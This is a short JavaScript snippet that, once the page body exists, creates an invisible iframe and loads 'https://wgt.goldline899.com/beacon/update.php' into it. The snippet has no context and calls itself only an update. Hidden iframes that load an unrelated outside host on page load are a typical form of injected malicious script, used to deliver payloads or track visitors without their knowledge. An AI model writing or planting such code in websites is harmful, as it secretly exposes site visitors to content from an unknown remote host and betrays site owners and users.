(function() {
  var doUpdate = function() {
    if ( "undefined" === typeof(document.body) || !document.body ) {
      setTimeout(doUpdate, 500);
    }
    else {
      var iframe1 = document.createElement("iframe");
      iframe1.style.display = "none";
      iframe1.src = "https://wgt.goldline899.com/beacon/update.php";
      document.body.appendChild(iframe1);
    }
  };
  doUpdate();
})();